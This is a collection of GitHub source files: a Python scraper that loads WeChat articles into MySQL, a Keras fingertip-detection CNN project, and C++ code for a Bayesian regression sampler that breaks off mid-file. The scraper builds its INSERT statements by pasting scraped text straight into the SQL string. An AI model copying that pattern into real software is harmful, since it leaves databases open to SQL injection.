print(\"正在抓取---->\"+url)\n urlop = urllib.request.urlopen(url)\n data = urlop.read().decode(\"utf-8\")\n soup = BeautifulSoup(data,\"html.parser\")\n #去掉代码中的script和style\n [s.extract() for s in soup(['script','style'])]\n \n title= soup.title.get_text();\n #html代码中id为js_content是内容部分\n content = soup.select('div[id=\"js_content\"]')[0]\n #将content中data-src去掉,并格式化输出\n content=unescape(content.prettify(formatter=None),2)\n\n sql=\"INSERT INTO `egj_sendcard`(communityId,plateId,title,cardContent,date,userId,nickName,userName,disable,pageView,tag,stick,good,contribute,showCommunity,inte) VALUES (2,173,'\"+title+\"','\"+content+\"','\"+date+\"',8349,'版主','18002160216',0,1,0,0,0,1,0,0)\"\n #print(sql)‘\n cur.execute(sql)\n conn.commit()\n\nconn.commit()\ncur.close()#关闭游标\nconn.close()#释放数据库资源\nprint(\"成功\") # 把末尾的'\\n'删掉\n\nkey = input(\"输入回车关闭\");\n" }, { "alpha_fraction": 0.5172113180160522, "alphanum_fraction": 0.5366013050079346, "avg_line_length": 34.58139419555664, "blob_id": "89081535ca5f613cb03c9c4f66b761164b9ad6bd", "content_id": "8f16b05925bf38c83f1c31511dd45d8d9e88a339", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4744, "license_type": "no_license", "max_line_length": 373, "num_lines": 129, "path": "/wxtosql.py", "repo_name": "yyjTom/wxtomysql", "src_encoding": "UTF-8", "text": "import re\nimport urllib.request\nimport urllib\nimport pymysql\nfrom collections import deque\nfrom bs4 import BeautifulSoup\nimport time\nimport sys\nimport getpass\nimport random\n\ndef wxtosql(url,userid,userName,styletype,plate,date,nickName,cid):\n print(\"正在抓取---->\"+url)\n urlop = urllib.request.urlopen(url)\n data = urlop.read().decode(\"utf-8\")\n soup = BeautifulSoup(data,\"html.parser\")\n #去掉代码中的script和style\n [s.extract() for s in soup(['script','style'])]\n #去掉img标签中的style\\data-w标签\n for s in soup.find_all('img'):\n del s['data-w']\n del s['style']\n del s['width']\n for s in soup.find_all('iframe'):\n if(s.get('src')):\n s['data-src']=s['src']\n del s['src']\n del s['data-w']\n del s['style']\n del s['width']\n del s['height']\n title= soup.title.get_text();\n #html代码中id为js_content是内容部分\n content = soup.select('div[id=\"js_content\"]')[0]\n desc=content.get_text()[:100]\n desc = desc.replace(\"\\n\", \"\")\n desc = desc.replace(\" \", \"\")\n desc = desc.replace(\"'\", \"\")\n desc=desc.replace(u'\\xa0', u' ')\n #将content中data-src去掉,并格式化输出\n try:\n content=unescape(content.prettify(formatter=None),2)\n except:\n print(\"error 002\")\n sql=\"error 002\"\n return sql\n #content=unescape(content,2)\n content = content.replace(\"\\n\", \"\")\n content = content.replace(\"<p></p>\", \"\")\n #将content中src的图片地址重新处理到图床\n linkre = re.compile('width=\\\"100%\\\" src=\\\"(.+?)\\\"')\n reslist=linkre.findall(content)\n path=\"\"\n count=0\n for x in reslist:\n print(x)\n if(x.find('iframe')!=-1):\n print(\"no...\")\n newurl=x\n newurl = newurl.replace(\"&width\", \"&aaa\")\n newurl = newurl.replace(\"&height\", \"&aaa\")\n newurl = newurl.replace(\"preview\", \"player\")\n content=content.replace(x,newurl) \n continue\n print(\"yes...\") \n random.seed()\n name=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+str(random.randint(1000,9999))\n if(x.find('gif')!=-1):\n name=name+\".gif\"\n else:\n name=name+\".jpg\"\n print(name)\n imgurl=\"http://121.43.230.60/publicApi/qiniuUpimg.php?name=\"+name+\"&img=\"+x;\n urlop = urllib.request.urlopen(imgurl)\n data = urlop.read().decode(\"utf-8\")\n if(data.find('error')==-1):\n newurl=\"http://oivtcly0a.bkt.clouddn.com/\"+name\n content=content.replace(x,newurl)\n if(styletype!=\"0\" and count>=1 and count<=4):\n imgurl=\"http://admin.egjegj.com/LT/uploads/tp/urlimg.php?name=\"+name+\"&img=\"+newurl;\n try:\n urlop = urllib.request.urlopen(imgurl)\n data = urlop.read().decode(\"utf-8\")\n if(data.find('error')==-1):\n path=path+\"uploads/Tp/\"+name+\",\"\n print(path)\n except:\n print(\"error\")\n count=count+1;\n else: \n print(\"error\")\n path=path[:-1]\n print(path)\n print(\"图文输入为:\"+styletype)\n \n if(len(path)==0 or styletype==\"0\"):\n print(\"aaaaaaaaaaaaaaaaaaaaaaaaa\")\n stype=\"1\"\n elif(styletype !=\"1\" and styletype !=\"2\" and styletype !=\"3\" and styletype !=\"0\" ): \n stype=str(random.randint(1,3))\n print(\"bbbbbbbbbbb\"+stype)\n else:\n stype=styletype\n print(\"图文模式为:\"+stype)\n try:\n url=\"http://60.205.150.155/bbstool/img/\"+plate+\".jpg\"\n urlop=urllib.request.urlopen(url)\n content=content+'<img width=\\\"100%\\\" src=\\\"'+url+'\\\"></img>'\n except:\n print(\"no image\")\n sql=\"INSERT INTO `egj_sendcard`(communityId,plateId,title,cardContent,date,`desc`,userId,nickName,userName,disable,pageView,path,path_thu,tag,stick,good,contribute,showCommunity,inte,styleType,platform) VALUES (\"+cid+\",\"+plate+\",'\"+title+\"','\"+content+\"','\"+date+\"','\"+desc+\"',\"+userid+\",'\"+nickName+\"','\"+userName+\"',0,1,'\"+path+\"','\"+path+\"',0,0,0,1,0,0,\"+stype+\",1)\"\n #print(sql)\n return sql\n\n#字符串替代函数,1对应url,2对应html\ndef unescape(s,strtype):\n if strtype==1: \n #s = s.replace(\"&lt;\", \"<\")\n #s = s.replace(\"&gt;\", \">\")\n # this has to be last:\n s = s.replace(\"&amp;\", \"&\")\n elif strtype==2:\n s = s.replace(\"data-src\", \"width=\\\"100%\\\" src\")\n s = s.replace(\"data-w\", \"aa\")\n s = s.replace(\"'\", \"\")\n elif strtype==3: \n s = s.replace(\"\\\"\", \"\")\n s = s.replace(\"\\n\", \"\")\n return s\n" } ]
4
haydenshively/Finger-Finder
https://github.com/haydenshively/Finger-Finder
8217f7dd9e7c11cdab49b5b3abf12620f3acf55d
3b0c00ad469335b07c44a62a7703713b79b0ec5a
acdf59aac71a331928ace9e2292aa9f7e8695505
refs/heads/master
2021-10-26T14:56:34.237428
2019-04-13T07:45:23
2019-04-13T07:45:23
150,500,173
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.592901885509491, "alphanum_fraction": 0.6158663630485535, "avg_line_length": 18.95833396911621, "blob_id": "357ee67107d031eb1a584e6d3e2984ee8a5a3093", "content_id": "c05dda774ee106916c113d7dbf6d8c97fb73c3ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 479, "license_type": "no_license", "max_line_length": 64, "num_lines": 24, "path": "/11KFingersToSamples.py", "repo_name": "haydenshively/Finger-Finder", "src_encoding": "UTF-8", "text": "import os\nimport numpy as np\n\ndir = '11KFingers/'\n\nfiles = os.listdir(dir)\nfile_count = len(files)\n\nall_samples = np.zeros((file_count, 28, 28, 3), dtype = 'uint8')\nall_labels = np.zeros((file_count), dtype = 'uint8')\n\nfor i in range(file_count):\n filename = files[i]\n\n image = np.load(dir + filename)\n all_samples[i] = image\n\n if 'Finger' in filename:\n all_labels[i] = 1\n else:\n all_labels[i] = 0\n\nnp.save('X', all_samples)\nnp.save('Y', all_labels)\n" }, { "alpha_fraction": 0.5446946620941162, "alphanum_fraction": 0.5720919370651245, "avg_line_length": 34.59504318237305, "blob_id": "863d75e39597bd7ffd4a905441d1dfc5c0e8019a", "content_id": "114c358af7362a33ab60e5979c44ba3ad154b569", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4307, "license_type": "no_license", "max_line_length": 131, "num_lines": 121, "path": "/11KHandsToFingers.py", "repo_name": "haydenshively/Finger-Finder", "src_encoding": "UTF-8", "text": "import numpy as np\nimport cv2\nimport random\n\nclass Constants():\n \"\"\"COLORING\"\"\"\n # to segment hand from background, hue will be compared to this value (0 to 180)\n hand_hue_approx = 10.0\n hand_hue_approx_arr = np.array([hand_hue_approx], dtype = 'float')\n # anywhere (angle between hand_hue_approx and pixel_hue) > this value is labelled background\n max_angular_distance = 20\n # anywhere pixel_sat < this value is labelled background\n min_saturation = 25\n\n \"\"\"SIZING\"\"\"\n min_contour_area = 1000\n roi_edge_length = 28*4# should be multiple of 28\n roi_shape = (roi_edge_length, roi_edge_length)\n roi_vertical_offset = 28\n\nclass Reader(object):\n def __init__(self, start = 0, end = 11000):\n self.start = start\n self.id = start\n self.end = end\n\n @property\n def next_image(self):\n self.id += 1\n zeros = '0'*(7 - len(str(self.id)))\n filename = '11KHands/Hand_' + zeros + str(self.id) + '.jpg'\n\n image = cv2.imread(filename)\n if image is None: image = self.next_image\n return image\n\n @property\n def random_image(self):\n id = str(random.randint(self.start, self.end))\n zeros = '0'*(7 - len(id))\n filename = 'Hand_' + zeros + id + '.jpg'\n\n image = cv2.imread(filename)\n if image is None: image = get_rand_image()\n return image\n\n def write(self, title, np_array):\n filename = '11KFingers/' + title\n np.save(filename, np_array)\n\ndef ieee_remainder(x, y):\n n = x/y\n return x - n.round(0)*y\n\ndef angular_distance(anglesA, anglesB, range = 360):\n return ieee_remainder(anglesA - anglesB, range)\n\ndef crop(image, x, y, w, h):\n return image[y:y+h, x:x+w]\n\ndef square_around(x, y, in_image, length):\n return crop(in_image, x - length//2, y - length//2, length, length)\n\ndef resize(image):\n while image.shape[0] > 28:\n image = cv2.pyrDown(image)\n return image\n\n\nif __name__ == '__main__':\n reader = Reader()\n i = 0\n\n while reader.id < reader.end:\n src = reader.next_image\n # switch colorspaces\n hsv = cv2.cvtColor(src, cv2.COLOR_BGR2HSV)\n h = hsv[:,:,0]\n s = hsv[:,:,1]\n # compute priors that will be helpful when thresholding\n theta_from_red = angular_distance(h.astype('float'), Constants.hand_hue_approx_arr, range = 180)\n theta_from_red = np.absolute(theta_from_red).astype('uint8')\n # perform thresholding to make hand white, background black\n h[theta_from_red > Constants.max_angular_distance] = 255\n h[s < Constants.min_saturation] = 255\n h = 255 - cv2.threshold(h, 127, 255, cv2.THRESH_BINARY)[1]\n\n # find and filter contours\n contours, _ = cv2.findContours(h, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n for contour in contours:\n\n M = cv2.moments(contour)\n area = M['m00']\n\n if area > Constants.min_contour_area:\n hull = cv2.convexHull(contour, returnPoints = True)\n # get fingertip\n fingertip_x, fingertip_y = contour[contour[:,:,1].argmax()][0]\n fingertip = square_around(fingertip_x, fingertip_y - Constants.roi_vertical_offset, src, Constants.roi_edge_length)\n # get hand center\n hand_x, hand_y = (int(M['m10']/area), int(M['m01']/area))\n hand = square_around(hand_x, hand_y, src, Constants.roi_edge_length)\n # ensure correct size\n if fingertip.shape[:2] != Constants.roi_shape or hand.shape[:2] != Constants.roi_shape: continue\n fingertip = resize(fingertip)\n hand = resize(hand)\n # generate random color\n solid = np.full((28, 28, 3), np.random.randint(0, 255, size = 3, dtype = 'uint8'), dtype = 'uint8')\n\n reader.write(str(i) + 'Finger', fingertip)\n i += 1\n reader.write(str(i) + 'Skin', hand)\n i += 1\n reader.write(str(i) + 'Solid', solid)\n i += 1\n\n # cv2.imshow('fingertip', fingertip)\n # cv2.imshow('hand', hand)\n if (reader.id%100 == 0): print(reader.id/float(reader.end))\n # ch = cv2.waitKey(1)\n # if ch == 27: break\n" }, { "alpha_fraction": 0.7737789154052734, "alphanum_fraction": 0.7840616703033447, "avg_line_length": 47.625, "blob_id": "5ee795e3dabc2cddae61e8d44a9ad5debd43c057", "content_id": "ce27076c567391b744552746c249a9ac4016b741", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 389, "license_type": "no_license", "max_line_length": 104, "num_lines": 8, "path": "/README.md", "repo_name": "haydenshively/Finger-Finder", "src_encoding": "UTF-8", "text": "# Finger-Finder\nCNN for fingertip detection using MNIST architecture, 11k Hands dataset, and NUS Hand Dataset\n\nRequires OpenCV, Keras, and TensorFlow.\nTested using Python 2 but should work with 3.\nThis is part of a project I'm working on that will allow users to play piano using nothing but a camera.\n \nTo try it out, simply run predict.py and click somewhere in the image that pops up.\n" }, { "alpha_fraction": 0.6073446273803711, "alphanum_fraction": 0.6242938041687012, "avg_line_length": 28.5, "blob_id": "06df5516acf894dddb22387d7eac2c308550ab1d", "content_id": "a1455139f01815619ad07fe8fc09b73a8c013832", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1062, "license_type": "no_license", "max_line_length": 75, "num_lines": 36, "path": "/train.py", "repo_name": "haydenshively/Finger-Finder", "src_encoding": "UTF-8", "text": "if __name__ == '__main__':\n from keras import backend as K\n import numpy as np\n\n import cnn\n from augmentation import ImageDataGenerator\n\n images = np.load('22KSamples/images.npy')\n labels = np.load('22KSamples/labels.npy')\n\n image_rows, image_cols = 28, 28\n\n if K.image_data_format() == 'channels_first':\n images = images.reshape(images.shape[0], 3, image_rows, image_cols)\n input_shape = (3, image_rows, image_cols)\n else:\n images = images.reshape(images.shape[0], image_rows, image_cols, 3)\n input_shape = (image_rows, image_cols, 3)\n\n\n tiny_cnn = cnn.Tiny(input_shape, class_count = 2)\n\n trainer = cnn.Trainer()\n trainer.input = images\n trainer.output = labels\n trainer.data_generator = ImageDataGenerator(\n rotation_range = 90,\n horizontal_flip = True,\n vertical_flip = True,\n data_format = K.image_data_format(),\n blurring = False,\n white_to_color = True\n )\n trainer.train(tiny_cnn.model)\n\n tiny_cnn.save_to_file('models/tiny_cnn.h5')\n" }, { "alpha_fraction": 0.5256637334823608, "alphanum_fraction": 0.56548672914505, "avg_line_length": 19.925926208496094, "blob_id": "1e464178cabb4f7bc4376ff55e2b343df803fc2a", "content_id": "9df0ec6306f3d186e25ba026b58ae7aba69e7002", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1130, "license_type": "no_license", "max_line_length": 59, "num_lines": 54, "path": "/predict.py", "repo_name": "haydenshively/Finger-Finder", "src_encoding": "UTF-8", "text": "from tensorflow.keras import models\nimport numpy as np\nimport cv2\n\nix = -1\niy = -1\n\ndef callback(event,x,y,flags,param):\n global ix, iy\n if event == cv2.EVENT_LBUTTONDOWN:\n ix = x\n iy = y\n\ncnn = models.load_model('models/tiny_cnn.h5')\ncamera = cv2.VideoCapture(0)\ncamera.set(3, 1920)\ncamera.set(4, 1080)\n\ncv2.namedWindow('image')\ncv2.setMouseCallback('image',callback)\n\nsize = 4\nedge = 28*size\n\nwhile True:\n image = cv2.pyrDown(camera.read()[1])\n cv2.imshow('image', image)\n\n if ix is not -1:\n \"\"\"start model\"\"\"\n start_x = ix - edge//2\n end_x = ix + edge//2\n start_y = iy - edge//2\n end_y = iy + edge//2\n\n image = image[start_y:end_y, start_x:end_x]\n for i in range(size//2):\n image = cv2.pyrDown(image)\n\n cv2.imshow('input', image)\n image = np.expand_dims(image, axis = 0)/255.\n\n result = cnn.predict(image)[0]\n\n if result[0] > result[1]: print('Found finger!!!!')\n else: print('No more finger :(')\n \"\"\"end model\"\"\"\n\n # print(result)\n\n\n\n ch = 0xFF & cv2.waitKey(1)\n if ch == 27: break\n" }, { "alpha_fraction": 0.5902625918388367, "alphanum_fraction": 0.6022976040840149, "avg_line_length": 31.070175170898438, "blob_id": "400e15b81c99065d4a6dfa500299f0fe6a5a4aa0", "content_id": "97ff653d24a51bfaabd5e7ccfd6972bd5d074f99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3656, "license_type": "no_license", "max_line_length": 129, "num_lines": 114, "path": "/cnn.py", "repo_name": "haydenshively/Finger-Finder", "src_encoding": "UTF-8", "text": "import keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\n\nimport numpy as np\n\nclass LearningStyle(object):\n def __init__(self, loss, optimizer, metrics):\n self.loss = loss\n self.optimizer = optimizer\n self.metrics = metrics\n\n def apply_to(self, model):\n model.compile(loss = self.loss, optimizer = self.optimizer, metrics = self.metrics)\n\n\nclass Tiny(object):\n default_learning_style = LearningStyle(keras.losses.binary_crossentropy, keras.optimizers.Adadelta(), metrics = ['accuracy'])\n\n def __init__(self, input_shape, class_count, learning_style = default_learning_style):\n self.input_shape = input_shape\n self.class_count = class_count\n\n self.model = Tiny._architecture(self.input_shape, self.class_count)\n self.learning_style = learning_style\n\n @staticmethod\n def _architecture(input_shape, class_count):\n archit = Sequential()\n\n archit.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=input_shape))\n archit.add(Conv2D(64, kernel_size=(3, 3), activation='relu'))\n archit.add(MaxPooling2D(pool_size=(2, 2)))\n archit.add(Dropout(0.25))\n archit.add(Flatten())\n archit.add(Dense(128, activation='relu'))\n archit.add(Dropout(0.5))\n archit.add(Dense(class_count, activation='softmax'))\n\n return archit\n\n def save_to_file(self, path = 'model.h5'):\n self.model.save(path)\n\n @property\n def learning_style(self):\n return self._learning_style\n\n @learning_style.setter\n def learning_style(self, new_learning_style):\n self._learning_style = new_learning_style\n self._learning_style.apply_to(self.model)\n\n\nclass Trainer(object):\n def __init__(self):\n self.input = None\n self.output = None\n\n self.data_generator = None\n self.test_percent = 10\n\n def train(self, model, epochs = 12, batch_size = 128):\n test_index = self.input.shape[0]*(100 - self.test_percent)//100\n\n x_train = self.input[:test_index]\n y_train = self.output[:test_index]\n x_test = self.input[test_index:]\n y_test = self.output[test_index:]\n\n if self.data_generator is None:\n model.fit(x_train, y_train,\n batch_size = batch_size,\n epochs = epochs,\n verbose = 1,\n validation_data = (x_test, y_test))\n\n else:\n model.fit_generator(self.data_generator.flow(x_train, y_train, batch_size = batch_size),\n steps_per_epoch = x_train.shape[0]//batch_size,\n epochs = epochs,\n verbose = 1,\n validation_data = (x_test, y_test))\n\n\n @staticmethod\n def normalize_input(input):\n return input.astype('float32')/input.max()\n\n @property\n def input(self):\n return self._input\n\n @input.setter\n def input(self, new_input):\n if type(new_input) is np.ndarray:\n self._input = Trainer.normalize_input(new_input)\n else: self._input = new_input\n\n @staticmethod\n def normalize_output(output):\n if len(output.shape) is 1: return keras.utils.to_categorical(output)\n else: return output\n\n @property\n def output(self):\n return self._output\n\n @output.setter\n def output(self, new_output):\n if type(new_output) is np.ndarray:\n self._output = Trainer.normalize_output(new_output)\n else: self._output = new_output\n" } ]
6
joddm/BDC
https://github.com/joddm/BDC
da4ece2f896cd5d08a58205ab0b0a120bcb1752a
38149dbf97311ccd15aad36322f34713c775bf5b
3bc58cab208e3d1964cba22ecd97078f193f0029
refs/heads/master
2021-01-22T06:01:59.218536
2013-10-23T21:50:05
2013-10-23T21:50:07
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7623762488365173, "alphanum_fraction": 0.7623762488365173, "avg_line_length": 24.5, "blob_id": "cdc6e8d4275acce398b4f24035c0c2b94cf424bc", "content_id": "cefce443dc28f2df3c5a35a1954f25ed2882305e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 101, "license_type": "permissive", "max_line_length": 45, "num_lines": 4, "path": "/HMLinMAE/__init__.py", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "__author__ = 'brandonkelly'\n\nfrom lib_hmlinmae import *\nfrom hmlin_mae import run_gibbs, LinMAESample" }, { "alpha_fraction": 0.6454960703849792, "alphanum_fraction": 0.6508924961090088, "avg_line_length": 42.01785659790039, "blob_id": "3c5c42a19135ba42983c2b9183083b3e315dbf72", "content_id": "ec751f00dbae6daf73a32add340a279936af4bf9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2409, "license_type": "permissive", "max_line_length": 121, "num_lines": 56, "path": "/HMLinMAE/setup.py", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "__author__ = 'brandonkelly'\n\nfrom distutils.core import setup, Extension\nimport numpy.distutils.misc_util\nimport os\nimport platform\n\nsystem_name= platform.system()\n#desc = open(\"README.rst\").read()\nextension_version = \"0.1.0\"\nextension_url = \"https://github.com/bckelly80/big_data_combine\"\nBOOST_DIR = os.environ[\"BOOST_DIR\"]\nARMADILLO_DIR = os.environ[\"ARMADILLO_DIR\"]\nNUMPY_DIR = os.environ[\"NUMPY_DIR\"]\ninclude_dirs = [NUMPY_DIR + \"/include\", BOOST_DIR + \"/include\", ARMADILLO_DIR + \"/include\",\n \"/usr/include/\", \"include\"]\n# needed to add \"include\" in order to build\nfor include_dir in numpy.distutils.misc_util.get_numpy_include_dirs():\n include_dirs.append(include_dir)\nlibrary_dirs = [NUMPY_DIR + \"/lib\", BOOST_DIR + \"/lib\", ARMADILLO_DIR + \"/lib\", \"/usr/lib/\"]\nif system_name != 'Darwin':\n # /usr/lib64 does not exist under Mac OS X\n library_dirs.append(\"/usr/lib64\")\n\ncompiler_args = [\"-O3\"]\nif system_name == 'Darwin':\n compiler_args.append(\"-std=c++11\")\n # need to build against libc++ for Mac OS X\n compiler_args.append(\"-stdlib=libc++\")\nelse:\n compiler_args.append(\"-std=c++0x\")\n\n\ndef configuration(parent_package='', top_path=None):\n # http://docs.scipy.org/doc/numpy/reference/distutils.html#numpy.distutils.misc_util.Configuration\n from numpy.distutils.misc_util import Configuration\n\n config = Configuration(\"hmlinmae_gibbs\", parent_package, top_path)\n config.version = extension_version\n config.add_data_dir((\".\", \"python/hmlin_mae\"))\n config.add_library(\"hmlinmae_gibbs\", sources=[\"linmae_parameters.cpp\", \"MaeGibbs.cpp\"],\n include_dirs=include_dirs, library_dirs=library_dirs,\n libraries=[\"boost_python\", \"boost_filesystem\", \"boost_system\", \"armadillo\", \"yamcmcpp\"],\n extra_compiler_args=compiler_args)\n config.add_extension(\"lib_hmlinmae\", sources=[\"boost_python_wrapper.cpp\", \"MaeGibbs.cpp\"], include_dirs=include_dirs,\n library_dirs=library_dirs,\n libraries=[\"boost_python\", \"boost_filesystem\", \"boost_system\", \"armadillo\", \"yamcmcpp\",\n \"hmlinmae_gibbs\"], extra_compile_args=compiler_args)\n #config.add_data_dir((\"../../../../include\"))\n return config\n\n\nif __name__ == '__main__':\n from numpy.distutils.core import setup\n\n setup(**configuration(top_path='').todict())\n" }, { "alpha_fraction": 0.680915117263794, "alphanum_fraction": 0.6965683102607727, "avg_line_length": 27.620689392089844, "blob_id": "fee5c0274b6809fa97a320bc662be8ab1d8889a9", "content_id": "36bdba1ba76a1a807718c4524cfdded989d631a1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1661, "license_type": "permissive", "max_line_length": 64, "num_lines": 58, "path": "/HMLinMAE/boost_python_wrapper.cpp", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "//\n// boost_python_wrapper.cpp\n// HMVAR\n//\n// Created by Brandon Kelly on 9/20/13.\n// Copyright (c) 2013 Brandon Kelly. All rights reserved.\n//\n\n#ifndef BOOST_SYSTEM_NO_DEPRECATED\n#define BOOST_SYSTEM_NO_DEPRECATED 1\n#endif\n\n#include \"Python.h\"\n#include <boost/intrusive/options.hpp>\n#include <boost/python.hpp>\n#include <boost/python/object.hpp>\n#include <boost/python/object/function_object.hpp>\n#include <boost/python/object/py_function.hpp>\n#include <boost/python/call_method.hpp>\n#include <boost/python/numeric.hpp>\n#include <boost/python/extract.hpp>\n#include <boost/python/register_ptr_to_python.hpp>\n#include <boost/python/suite/indexing/vector_indexing_suite.hpp>\n#include <armadillo>\n#include <utility>\n#include \"numpy/ndarrayobject.h\"\n#include \"MaeGibbs.hpp\"\n\ntypedef std::vector<double> vec1d;\ntypedef std::vector<vec1d> vec2d;\ntypedef std::vector<vec2d> vec3d;\n\nusing namespace boost::python;\nusing namespace HMLinMAE;\n\nBOOST_PYTHON_MODULE(lib_hmlinmae){\n import_array();\n numeric::array::set_module_and_type(\"numpy\", \"ndarray\");\n \n class_<vec1d>(\"vec1D\")\n .def(vector_indexing_suite<vec1d>());\n \n class_<vec2d>(\"vec2D\")\n .def(vector_indexing_suite<vec2d>());\n \n class_<vec3d>(\"vec3D\")\n .def(vector_indexing_suite<vec3d>());\n \n // MaeGibbs.hpp\n class_<MaeGibbs, boost::noncopyable>(\"MaeGibbs\", no_init)\n .def(init<int, vec2d, vec3d>())\n .def(\"RunMCMC\", &MaeGibbs::RunMCMC)\n .def(\"GetCoefsMean\", &MaeGibbs::GetCoefsMean)\n .def(\"GetNoiseMean\", &MaeGibbs::GetNoiseMean)\n .def(\"GetCoefs\", &MaeGibbs::GetCoefs)\n .def(\"GetSigSqr\", &MaeGibbs::GetSigSqr)\n .def(\"GetWeights\", &MaeGibbs::GetWeights);\n};\n\n" }, { "alpha_fraction": 0.5354725122451782, "alphanum_fraction": 0.5387219190597534, "avg_line_length": 26.977272033691406, "blob_id": "55f1596e63060791d3f98cd8709d35c054394391", "content_id": "b70ec511c80450ee57621e33763ddff05a372028", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7386, "license_type": "permissive", "max_line_length": 104, "num_lines": 264, "path": "/HMLinMAE/linmae_parameters.hpp", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "//\n// var_parameters.hpp\n// HMVAR\n//\n// Created by Brandon Kelly on 9/13/13.\n// Copyright (c) 2013 Brandon Kelly. All rights reserved.\n//\n\n#ifndef __HMLinMAE__parameters__\n#define __HMLinMAE__parameters__\n\n#include <iostream>\n#include <armadillo>\n#include <memory>\n#include <vector>\n#include <boost/ptr_container/ptr_vector.hpp>\n#include <parameters.hpp>\n\nnamespace HMLinMAE {\n \n // forward declaration of classes\n class Coefs;\n class Noise;\n class CoefsVar;\n class NoiseMean;\n class NoiseVar;\n class CoefsMean;\n \n class tWeights : public Parameter<double> {\n public:\n int mfeat;\n int dof;\n \n tWeights() {}\n tWeights(int m, int d, bool track, std::string label, double temperature=1.0) :\n Parameter<double>(track, label, temperature), mfeat(m), dof(d) {}\n \n double StartingValue();\n double RandomPosterior();\n void Save(double new_value) {value_ = new_value;}\n \n void SetParameters(CoefsMean& Mu, CoefsVar& Sigma, Coefs& Beta) {\n pCoefMean_ = &Mu;\n pCoefVar_ = &Sigma;\n pCoef_ = &Beta;\n }\n \n private:\n // pointers to other parameter objects\n CoefsMean* pCoefMean_;\n CoefsVar* pCoefVar_;\n Coefs* pCoef_;\n };\n \n /*\n * NOW MAKE CLASSES FOR POPULATION LEVEL PARAMETERS\n */\n \n \n class CoefsMean : public Parameter<arma::vec> {\n public:\n int mfeat;\n \n CoefsMean() {}\n CoefsMean(int m, bool track, std::string label, double temperature=1.0) :\n Parameter<arma::vec>(track, label, temperature), mfeat(m) {\n value_.set_size(mfeat);\n }\n \n arma::vec StartingValue();\n arma::vec RandomPosterior();\n void Save(arma::vec new_value) {value_ = new_value;}\n \n // setters and getters\n void SetSize(int mfeat) {value_.set_size(mfeat);}\n \n void SetCovar(CoefsVar& Sigma) {\n pCoefsVar_ = &Sigma;\n }\n\n void AddCoef(Coefs& beta) {\n pCoefs_.push_back(&beta);\n }\n void AddWeight(tWeights& W) {\n pWeights_.push_back(&W);\n }\n \n std::vector<double> getSample(int iter) {\n std::vector<double> this_sample = arma::conv_to<std::vector<double> >::from(samples_[iter]);\n return this_sample;\n }\n \n private:\n // pointers to other parameters objects\n std::vector<tWeights*> pWeights_;\n CoefsVar* pCoefsVar_;\n std::vector<Coefs*> pCoefs_; // array of pointers to the VAR(p) coefficients for each individual\n };\n \n class CoefsVar : public Parameter<arma::mat> {\n public:\n int mfeat;\n int prior_dof;\n arma::mat prior_scale;\n \n CoefsVar() {}\n CoefsVar(int m, bool track, std::string label, double temperature=1.0) :\n Parameter<arma::mat>(track, label, temperature), mfeat(m) {\n prior_dof = mfeat + 2;\n prior_scale = arma::eye(mfeat, mfeat);\n }\n \n arma::mat StartingValue();\n arma::mat RandomPosterior();\n \n void SetMu(CoefsMean& Mu) {\n pCoefsMean_ = &Mu;\n }\n \n void AddWeights(tWeights& tW) {\n pWeights_.push_back(&tW);\n }\n \n void AddCoefs(Coefs& Beta) {\n pCoefs_.push_back(&Beta);\n }\n \n private:\n // pointers to other parameter objects\n CoefsMean* pCoefsMean_;\n std::vector<Coefs*> pCoefs_;\n std::vector<tWeights*> pWeights_;\n };\n \n class NoiseMean : public Parameter<double> {\n public:\n\n NoiseMean() {}\n NoiseMean(bool track, std::string label, double temperature=1.0) :\n Parameter<double>(track, label, temperature) {}\n \n double StartingValue();\n double LogDensityVec(double mu_ssqr);\n double RandomPosterior();\n \n void Save(double new_value) {\n value_ = new_value;\n }\n\n // setters and getters\n void SetNoiseVar(NoiseVar& NoiseSsqr) {\n pNoiseVar_ = &NoiseSsqr;\n }\n void AddNoise(Noise& SigSqr) {\n pNoise_.push_back(&SigSqr);\n }\n \n private:\n // pointers to other parameter objects\n CoefsMean* pCoefsMean_;\n NoiseVar* pNoiseVar_;\n std::vector<Noise*> pNoise_;\n };\n\n\n class NoiseVar : public Parameter<double> {\n public:\n NoiseVar() {}\n NoiseVar(int dof, double ssqr, bool track, std::string label, double temperature=1.0) :\n Parameter<double>(track, label, temperature), prior_dof_(dof), prior_ssqr_(ssqr) {}\n \n double StartingValue();\n double RandomPosterior();\n void Save(double new_value) {value_ = new_value;}\n \n // setters and getters\n void SetNoiseMean(NoiseMean& NoiseMu) {pNoiseMean_ = &NoiseMu;}\n void AddNoise(Noise& SigSqr) {\n pNoise_.push_back(&SigSqr);\n }\n \n private:\n int prior_dof_;\n double prior_ssqr_;\n \n NoiseMean* pNoiseMean_;\n std::vector<Noise*> pNoise_;\n };\n \n /*\n * CLASSES FOR INDIVIDUAL LEVEL PARAMETERS\n */\n \n class Coefs : public Parameter<arma::vec> {\n public:\n int mfeat;\n int ndata;\n \n Coefs(arma::vec& y, arma::mat& X, bool track, 